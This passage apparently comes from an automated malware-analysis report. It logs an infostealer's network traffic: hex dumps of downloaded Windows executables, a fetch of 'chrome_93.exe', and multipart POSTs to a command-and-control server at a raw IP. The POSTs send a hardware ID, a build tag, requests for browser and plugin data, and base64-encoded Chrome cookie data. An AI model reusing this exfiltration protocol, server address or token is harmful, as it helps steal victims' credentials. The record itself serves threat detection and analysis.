41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 25 Oct 2024 11:12:12 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 25 Oct 2024 11:12:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 25 Oct 2024 11:12:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /chrome_93.exe HTTP/1.1Host: sirault.beCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.241.61.210Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDGDGDHDGDBFIDHDBAHost: 185.241.61.210Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 44 31 32 36 37 38 39 39 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 2d 2d 0d 0a Data Ascii: ------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; name="hwid"64D1267899D72284582127------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; name="build"LogsDiller------AKJDGDGDHDGDBFIDHDBA--
Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEGIEHIJKKFIDHDGIDHost: 185.241.61.210Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 34 30 37 64 32 65 32 31 35 34 37 61 65 39 36 31 33 66 30 31 30 62 34 39 65 38 30 39 31 33 35 37 66 36 32 65 35 31 32 33 63 34 34 63 32 38 61 30 61 32 37 30 37 33 33 39 31 36 34 65 36 32 36 38 32 30 33 62 33 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 49 45 48 49 4a 4b 4b 46 49 44 48 44 47 49 44 2d 2d 0d 0a Data Ascii: ------HJJEGIEHIJKKFIDHDGIDContent-Disposition: form-data; name="token"7c407d2e21547ae9613f010b49e8091357f62e5123c44c28a0a2707339164e6268203b39------HJJEGIEHIJKKFIDHDGIDContent-Disposition: form-data; name="message"browsers------HJJEGIEHIJKKFIDHDGID--
Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEBHost: 185.241.61.210Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 34 30 37 64 32 65 32 31 35 34 37 61 65 39 36 31 33 66 30 31 30 62 34 39 65 38 30 39 31 33 35 37 66 36 32 65 35 31 32 33 63 34 34 63 32 38 61 30 61 32 37 30 37 33 33 39 31 36 34 65 36 32 36 38 32 30 33 62 33 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 2d 2d 0d 0a Data Ascii: ------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="token"7c407d2e21547ae9613f010b49e8091357f62e5123c44c28a0a2707339164e6268203b39------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="message"plugins------GHJEGCAEGIIIDHIEBKEB--
Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIIJDAAAAKFHIDAAAKHost: 185.241.61.210Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 34 30 37 64 32 65 32 31 35 34 37 61 65 39 36 31 33 66 30 31 30 62 34 39 65 38 30 39 31 33 35 37 66 36 32 65 35 31 32 33 63 34 34 63 32 38 61 30 61 32 37 30 37 33 33 39 31 36 34 65 36 32 36 38 32 30 33 62 33 39 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 2d 2d 0d 0a Data Ascii: ------AAFIIJDAAAAKFHIDAAAKContent-Disposition: form-data; name="token"7c407d2e21547ae9613f010b49e8091357f62e5123c44c28a0a2707339164e6268203b39------AAFIIJDAAAAKFHIDAAAKContent-Disposition: form-data; name="message"fplugins------AAFIIJDAAAAKFHIDAAAK--
Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAKEHIEBKJJJJJKKKEGHost: 185.241.61.210Content-Length: 6899Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/sqlite3.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDHCFBAKFBGDGDHJKJJHost: 185.241.61.210Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 34 30 37 64 32 65 32 31 35 34 37 61 65 39 36 31 33 66 30 31 30 62 34 39 65 38 30 39 31 33 35 37 66 36 32 65 35 31 32 33 63 34 34 63 32 38 61 30 61 32 37 30 37 33 33 39 31 36 34 65 36 32 36 38 32 30 33 62 33 39 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="token"7c407d2e21547ae9613f010b49e8091357f62e5123c44c28a0a2707339164e6268203b39------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBAHost: 185.241.61.210Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 34 30 37 64 32 65 32 31 35 34 37 61 65 39 36 31 33 66 30 31 30 62 34 39 65 38 30 39 31 33 35 37 66 36 32 65 35 31 32 33 63 34 34 63 32 38 61 30 61 32 37 30 37 33 33 39 31 36 34 65 36 32 36 38 32 30 33 62 33 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 2d 2d 0d 0a Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="token"7c407d2e21547ae9613f010b49e8091357f62e5123c44c28a0a2707339164e6268203b39------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="file"------HIIDGCGCBFBAKFHIJDBA--
